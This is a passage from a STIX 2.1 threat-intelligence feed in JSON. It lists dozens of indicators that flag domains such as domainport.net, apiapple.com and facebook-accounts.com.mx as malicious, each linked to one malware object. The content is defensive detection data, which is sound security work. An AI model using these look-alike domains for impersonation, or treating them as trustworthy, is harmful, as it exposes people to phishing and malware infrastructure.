"modified": "2024-01-26T21:28:21.071159Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domainport.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.071159Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f5c4a326-1586-4dc0-ace2-0abd7a45592b", "created": "2024-01-26T21:28:21.071634Z", "modified": "2024-01-26T21:28:21.071634Z", "relationship_type": "indicates", "source_ref": "indicator--73c1e3e6-8865-4bf5-ae41-c7ea9b7e430e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9dc8e443-257b-4dfe-9ed7-6dc9bf1ea332", "created": "2024-01-26T21:28:21.071733Z", "modified": "2024-01-26T21:28:21.071733Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mainredirecter.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.071733Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cce65677-5857-45e8-a6a2-64f3694d6e4d", "created": "2024-01-26T21:28:21.072138Z", "modified": "2024-01-26T21:28:21.072138Z", "relationship_type": "indicates", "source_ref": "indicator--9dc8e443-257b-4dfe-9ed7-6dc9bf1ea332", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0c9dac7a-264f-4a57-9484-84d38b6d3322", "created": "2024-01-26T21:28:21.072237Z", "modified": "2024-01-26T21:28:21.072237Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hearsmugglergarden.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.072237Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--caed0e31-baa5-4d0e-8f3b-9b906497a284", "created": "2024-01-26T21:28:21.072641Z", "modified": "2024-01-26T21:28:21.072641Z", "relationship_type": "indicates", "source_ref": "indicator--0c9dac7a-264f-4a57-9484-84d38b6d3322", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--937ce3df-f9eb-48c4-8a06-d939330afa17", "created": "2024-01-26T21:28:21.072737Z", "modified": "2024-01-26T21:28:21.072737Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='igiheonline.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.072737Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d034b6ff-55a8-4c19-9a74-3a84f884ff60", "created": "2024-01-26T21:28:21.073134Z", "modified": "2024-01-26T21:28:21.073134Z", "relationship_type": "indicates", "source_ref": "indicator--937ce3df-f9eb-48c4-8a06-d939330afa17", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d495bf61-4318-4848-8f21-a073dc231572", "created": "2024-01-26T21:28:21.073231Z", "modified": "2024-01-26T21:28:21.073231Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='top10leadsgen.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.073231Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a614de76-18ca-4add-a0a9-de1e87c408c0", "created": "2024-01-26T21:28:21.073681Z", "modified": "2024-01-26T21:28:21.073681Z", "relationship_type": "indicates", "source_ref": "indicator--d495bf61-4318-4848-8f21-a073dc231572", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b4adb706-5110-40a5-9ec4-714f61d0d59c", "created": "2024-01-26T21:28:21.07378Z", "modified": "2024-01-26T21:28:21.07378Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='info24.live']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.07378Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--162f129e-70fa-4659-b60b-bf9c41ebd51e", "created": "2024-01-26T21:28:21.074173Z", "modified": "2024-01-26T21:28:21.074173Z", "relationship_type": "indicates", "source_ref": "indicator--b4adb706-5110-40a5-9ec4-714f61d0d59c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fa7deadb-526d-4457-af51-2cb44377337d", "created": "2024-01-26T21:28:21.074276Z", "modified": "2024-01-26T21:28:21.074276Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cookiescom.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.074276Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--70c44bc5-b950-48d4-8436-ef9961e0c787", "created": "2024-01-26T21:28:21.07469Z", "modified": "2024-01-26T21:28:21.07469Z", "relationship_type": "indicates", "source_ref": "indicator--fa7deadb-526d-4457-af51-2cb44377337d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8cd129eb-3f20-4162-a527-1673edd3e141", "created": "2024-01-26T21:28:21.074786Z", "modified": "2024-01-26T21:28:21.074786Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='remove-from-mailing-list.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.074786Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3d8f4d36-4b88-4af4-9df1-b4f634655fd8", "created": "2024-01-26T21:28:21.075196Z", "modified": "2024-01-26T21:28:21.075196Z", "relationship_type": "indicates", "source_ref": "indicator--8cd129eb-3f20-4162-a527-1673edd3e141", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2096d3e6-2ab1-4d04-81a0-c5b3f60b5e9b", "created": "2024-01-26T21:28:21.075293Z", "modified": "2024-01-26T21:28:21.075293Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='securesmsing.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.075293Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6ef8257c-0f19-4cad-8e3c-d401f1b29896", "created": "2024-01-26T21:28:21.075698Z", "modified": "2024-01-26T21:28:21.075698Z", "relationship_type": "indicates", "source_ref": "indicator--2096d3e6-2ab1-4d04-81a0-c5b3f60b5e9b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--47415654-4e03-40c6-8d41-9fa934f308c8", "created": "2024-01-26T21:28:21.075794Z", "modified": "2024-01-26T21:28:21.075794Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestcandyever.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.075794Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6a7044fd-0750-4d4b-ab25-750ff0e65c17", "created": "2024-01-26T21:28:21.076465Z", "modified": "2024-01-26T21:28:21.076465Z", "relationship_type": "indicates", "source_ref": "indicator--47415654-4e03-40c6-8d41-9fa934f308c8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a16996d8-dac6-45e4-bcc8-5318c7e315ec", "created": "2024-01-26T21:28:21.076569Z", "modified": "2024-01-26T21:28:21.076569Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='saltyapplepie.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.076569Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--91d95e68-3272-4518-8cae-66a0b38d8782", "created": "2024-01-26T21:28:21.076972Z", "modified": "2024-01-26T21:28:21.076972Z", "relationship_type": "indicates", "source_ref": "indicator--a16996d8-dac6-45e4-bcc8-5318c7e315ec", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ac716078-5e3c-4b63-97cd-c41d94cdb54a", "created": "2024-01-26T21:28:21.077069Z", "modified": "2024-01-26T21:28:21.077069Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='waffleswithnutella.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.077069Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2b39f669-0ae3-444e-8fd0-a7609aaa3ee1", "created": "2024-01-26T21:28:21.077471Z", "modified": "2024-01-26T21:28:21.077471Z", "relationship_type": "indicates", "source_ref": "indicator--ac716078-5e3c-4b63-97cd-c41d94cdb54a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eef09467-cf00-4d0f-81c1-6d26f2edeb9c", "created": "2024-01-26T21:28:21.077568Z", "modified": "2024-01-26T21:28:21.077568Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='working-online.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.077568Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d7c0a60d-badd-42f9-bcb0-1e9b223f61fd", "created": "2024-01-26T21:28:21.077972Z", "modified": "2024-01-26T21:28:21.077972Z", "relationship_type": "indicates", "source_ref": "indicator--eef09467-cf00-4d0f-81c1-6d26f2edeb9c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--987bbd32-90b1-4212-9457-d6a34ee5a184", "created": "2024-01-26T21:28:21.07807Z", "modified": "2024-01-26T21:28:21.07807Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='apiapple.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.07807Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e5b44028-a539-4f7f-99e1-078066c37145", "created": "2024-01-26T21:28:21.078467Z", "modified": "2024-01-26T21:28:21.078467Z", "relationship_type": "indicates", "source_ref": "indicator--987bbd32-90b1-4212-9457-d6a34ee5a184", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c1b19246-68a6-4255-99e0-4faaeae10b9b", "created": "2024-01-26T21:28:21.078563Z", "modified": "2024-01-26T21:28:21.078563Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='facebook-accounts.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.078563Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8ef3e00f-0f8f-4d23-893e-fb3bd6a38841", "created": "2024-01-26T21:28:21.078972Z", "modified": "2024-01-26T21:28:21.078972Z", "relationship_type": "indicates", "source_ref": "indicator--c1b19246-68a6-4255-99e0-4faaeae10b9b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b4613703-dce1-46a6-ba86-82f189909e19", "created": "2024-01-26T21:28:21.079074Z", "modified": "2024-01-26T21:28:21.079074Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bitforeat.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.079074Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4122733d-4e90-419c-8990-330b695d2cd1", "created": "2024-01-26T21:28:21.079469Z", "modified": "2024-01-26T21:28:21.079469Z", "relationship_type": "indicates", "source_ref": "indicator--b4613703-dce1-46a6-ba86-82f189909e19", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4d73b778-9a7f-4de8-af06-e1fef3d51786", "created": "2024-01-26T21:28:21.079567Z", "modified": "2024-01-26T21:28:21.079567Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='link-crawler.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.079567Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d684cdd3-c509-42ce-9087-6cd766ff8f28", "created": "2024-01-26T21:28:21.079969Z", "modified": "2024-01-26T21:28:21.079969Z", "relationship_type": "indicates", "source_ref": "indicator--4d73b778-9a7f-4de8-af06-e1fef3d51786", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d521c559-9ae5-4b8b-a777-6976066eea25", "created": "2024-01-26T21:28:21.080067Z", "modified": "2024-01-26T21:28:21.080067Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='witness-delay.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.080067Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c6f145d5-c5c9-45de-b54d-67b1c86fa1a7", "created": "2024-01-26T21:28:21.080472Z", "modified": "2024-01-26T21:28:21.080472Z", "relationship_type": "indicates", "source_ref": "indicator--d521c559-9ae5-4b8b-a777-6976066eea25", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1a494481-e5d6-4ee3-946a-c0c9036ada14", "created": "2024-01-26T21:28:21.080569Z", "modified": "2024-01-26T21:28:21.080569Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pickuchu.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.080569Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--80bfc51d-0797-47cf-a103-33788ea70aa8", "created": "2024-01-26T21:28:21.080962Z", "modified": "2024-01-26T21:28:21.080962Z", "relationship_type": "indicates", "source_ref": "indicator--1a494481-e5d6-4ee3-946a-c0c9036ada14", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8b566d8e-e61f-4de1-be18-b2f21c60d11f", "created": "2024-01-26T21:28:21.081059Z", "modified": "2024-01-26T21:28:21.081059Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestday-sales.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.081059Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7e953acc-d833-4b4f-88ae-a31dc5a7b8f6", "created": "2024-01-26T21:28:21.081544Z", "modified": "2024-01-26T21:28:21.081544Z", "relationship_type": "indicates", "source_ref": "indicator--8b566d8e-e61f-4de1-be18-b2f21c60d11f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--086d57b6-3096-45a0-9439-798eaf3fb087", "created": "2024-01-26T21:28:21.081646Z", "modified": "2024-01-26T21:28:21.081646Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='univision.click']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.081646Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--694ef4a8-a7c0-49a7-b007-47e971158f30", "created": "2024-01-26T21:28:21.082051Z", "modified": "2024-01-26T21:28:21.082051Z", "relationship_type": "indicates", "source_ref": "indicator--086d57b6-3096-45a0-9439-798eaf3fb087", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6a9208f6-b1f1-4165-8886-62dcf2e9e60f", "created": "2024-01-26T21:28:21.082153Z", "modified": "2024-01-26T21:28:21.082153Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fofopiko.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.082153Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--18caf843-dc50-41ac-a83b-dfb579b1c46c", "created": "2024-01-26T21:28:21.082548Z", "modified": "2024-01-26T21:28:21.082548Z", "relationship_type": "indicates", "source_ref": "indicator--6a9208f6-b1f1-4165-8886-62dcf2e9e60f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b2401ae1-4542-48b6-88ae-dbdb20f9a9ac", "created": "2024-01-26T21:28:21.082644Z", "modified": "2024-01-26T21:28:21.082644Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='crownsafe.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.082644Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9280b87a-8bd7-495d-9609-2b92439f750a", "created": "2024-01-26T21:28:21.083039Z", "modified": "2024-01-26T21:28:21.083039Z", "relationship_type": "indicates", "source_ref": "indicator--b2401ae1-4542-48b6-88ae-dbdb20f9a9ac", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e69ace3b-80d7-4d27-b4af-39701acd8977", "created": "2024-01-26T21:28:21.083134Z", "modified": "2024-01-26T21:28:21.083134Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='greenbusnoise.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.083134Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--db98c686-351f-43c7-9629-9769b5939823", "created": "2024-01-26T21:28:21.083538Z", "modified": "2024-01-26T21:28:21.083538Z", "relationship_type": "indicates", "source_ref": "indicator--e69ace3b-80d7-4d27-b4af-39701acd8977", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7da76c18-6187-403f-bbec-1fa1546aaa06", "created": "2024-01-26T21:28:21.083635Z", "modified": "2024-01-26T21:28:21.083635Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hotelsauto.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.083635Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--206ef62e-d07c-4df3-b41e-9fc71bb97898", "created": "2024-01-26T21:28:21.084028Z", "modified": "2024-01-26T21:28:21.084028Z", "relationship_type": "indicates", "source_ref": "indicator--7da76c18-6187-403f-bbec-1fa1546aaa06", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--11549f7a-c11b-4121-82e3-749de95d454f", "created": "2024-01-26T21:28:21.084124Z", "modified": "2024-01-26T21:28:21.084124Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='robotscan.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.084124Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a10d8ab8-cf94-42e9-83a0-d9f43c5f63cc", "created": "2024-01-26T21:28:21.084526Z", "modified": "2024-01-26T21:28:21.084526Z", "relationship_type": "indicates", "source_ref": "indicator--11549f7a-c11b-4121-82e3-749de95d454f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c2c9a00d-6dc5-4de3-b809-257dac7f74a9", "created": "2024-01-26T21:28:21.084626Z", "modified": "2024-01-26T21:28:21.084626Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='economic-news.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.084626Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a7951ceb-f958-4dfc-baa2-48e50ad9c696", "created": "2024-01-26T21:28:21.085021Z", "modified": "2024-01-26T21:28:21.085021Z", "relationship_type": "indicates", "source_ref": "indicator--c2c9a00d-6dc5-4de3-b809-257dac7f74a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--938031e9-5683-4094-9414-178b0dc8d5a2", "created": "2024-01-26T21:28:21.085117Z", "modified": "2024-01-26T21:28:21.085117Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whereismytree.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.085117Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bc61eccb-a99f-47f9-b2c1-206dd3fc9d0c", "created": "2024-01-26T21:28:21.085516Z", "modified": "2024-01-26T21:28:21.085516Z", "relationship_type": "indicates", "source_ref": "indicator--938031e9-5683-4094-9414-178b0dc8d5a2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c4245037-5356-406e-ae73-86fa7d08c94e", "created": "2024-01-26T21:28:21.085611Z", "modified": "2024-01-26T21:28:21.085611Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updating-link.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.085611Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--17957301-e489-49ea-8ca2-47a1b204cdcd", "created": "2024-01-26T21:28:21.086102Z", "modified": "2024-01-26T21:28:21.086102Z", "relationship_type": "indicates", "source_ref": "indicator--c4245037-5356-406e-ae73-86fa7d08c94e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--94e2137a-da76-43df-8442-baaf0731d483", "created": "2024-01-26T21:28:21.0862Z", "modified": "2024-01-26T21:28:21.0862Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noodlegray.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.0862Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a23d7cfe-f58c-4651-bfbd-2aef82df4447", "created": "2024-01-26T21:28:21.086596Z", "modified": "2024-01-26T21:28:21.086596Z", "relationship_type": "indicates", "source_ref": "indicator--94e2137a-da76-43df-8442-baaf0731d483", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--240f251d-1348-46d8-aebc-38526889a25b", "created": "2024-01-26T21:28:21.086694Z", "modified": "2024-01-26T21:28:21.086694Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cartsafer.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.086694Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bb331daa-8ca8-4c86-b47e-9c2a354e3c59", "created": "2024-01-26T21:28:21.087088Z", "modified": "2024-01-26T21:28:21.087088Z", "relationship_type": "indicates", "source_ref": "indicator--240f251d-1348-46d8-aebc-38526889a25b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a5d77440-ad9f-4079-9de5-405131e70f23", "created": "2024-01-26T21:28:21.087212Z", "modified": "2024-01-26T21:28:21.087212Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='netstatistics.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.087212Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--47db2041-be2e-4604-ac9d-433d6f715200", "created": "2024-01-26T21:28:21.087605Z", "modified": "2024-01-26T21:28:21.087605Z", "relationship_type": "indicates", "source_ref": "indicator--a5d77440-ad9f-4079-9de5-405131e70f23", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f870f707-ee4e-43b2-b161-f6d183001e64", "created": "2024-01-26T21:28:21.087705Z", "modified": "2024-01-26T21:28:21.087705Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='biscuit-taste.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.087705Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e2f97b0a-a5f5-4d6d-8f28-b72d96798c8b", "created": "2024-01-26T21:28:21.088107Z", "modified": "2024-01-26T21:28:21.088107Z", "relationship_type": "indicates", "source_ref": "indicator--f870f707-ee4e-43b2-b161-f6d183001e64", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ed6ff902-308e-4909-b4a5-a191c5de6d4f", "created": "2024-01-26T21:28:21.088206Z", "modified": "2024-01-26T21:28:21.088206Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='networkingproperty.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.088206Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--66177e65-5289-4fb7-89a6-fae513b5e176", "created": "2024-01-26T21:28:21.088609Z", "modified": "2024-01-26T21:28:21.088609Z", "relationship_type": "indicates", "source_ref": "indicator--ed6ff902-308e-4909-b4a5-a191c5de6d4f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c694c955-db5a-4bfc-8e4c-971ae10f1417", "created": "2024-01-26T21:28:21.088704Z", "modified": "2024-01-26T21:28:21.088704Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='authlovebirth.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.088704Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--84d8d6b2-70ee-4caf-af4f-a3063abf3aeb", "created": "2024-01-26T21:28:21.089099Z", "modified": "2024-01-26T21:28:21.089099Z", "relationship_type": "indicates", "source_ref": "indicator--c694c955-db5a-4bfc-8e4c-971ae10f1417", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9c09a473-2897-4245-8b52-3bd7055d3837", "created": "2024-01-26T21:28:21.089196Z", "modified": "2024-01-26T21:28:21.089196Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='merchant-businesses.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.089196Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--78cbef82-93bf-4f3a-93b5-93d2a858d5aa", "created": "2024-01-26T21:28:21.0896Z", "modified": "2024-01-26T21:28:21.0896Z", "relationship_type": "indicates", "source_ref": "indicator--9c09a473-2897-4245-8b52-3bd7055d3837", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6320910e-ceb0-4fee-a9e4-99891a5a7cc5", "created": "2024-01-26T21:28:21.089699Z", "modified": "2024-01-26T21:28:21.089699Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mosque-salah.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.089699Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a5ec6ab9-58a5-462d-9582-828b5f700787", "created": "2024-01-26T21:28:21.090096Z", "modified": "2024-01-26T21:28:21.090096Z", "relationship_type": "indicates", "source_ref": "indicator--6320910e-ceb0-4fee-a9e4-99891a5a7cc5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e0ec773a-ff4a-454c-ae3a-f4c86057267b", "created": "2024-01-26T21:28:21.090194Z", "modified": "2024-01-26T21:28:21.090194Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='network-bots.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.090194Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d65a3568-676a-4374-8890-7b785cf7293f", "created": "2024-01-26T21:28:21.090665Z", "modified": "2024-01-26T21:28:21.090665Z", "relationship_type": "indicates", "source_ref": "indicator--e0ec773a-ff4a-454c-ae3a-f4c86057267b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4f424ead-c1c5-46b9-ae8f-b31be712f2e1", "created": "2024-01-26T21:28:21.090763Z", "modified": "2024-01-26T21:28:21.090763Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urspanishteacher.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.090763Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--62bb6fed-4f7a-4b38-a156-8ecee726446d", "created": "2024-01-26T21:28:21.091164Z", "modified": "2024-01-26T21:28:21.091164Z", "relationship_type": "indicates", "source_ref": "indicator--4f424ead-c1c5-46b9-ae8f-b31be712f2e1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7a587a10-9080-4fff-9188-3f1399c7084c", "created": "2024-01-26T21:28:21.091263Z", "modified": "2024-01-26T21:28:21.091263Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domain-security.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": 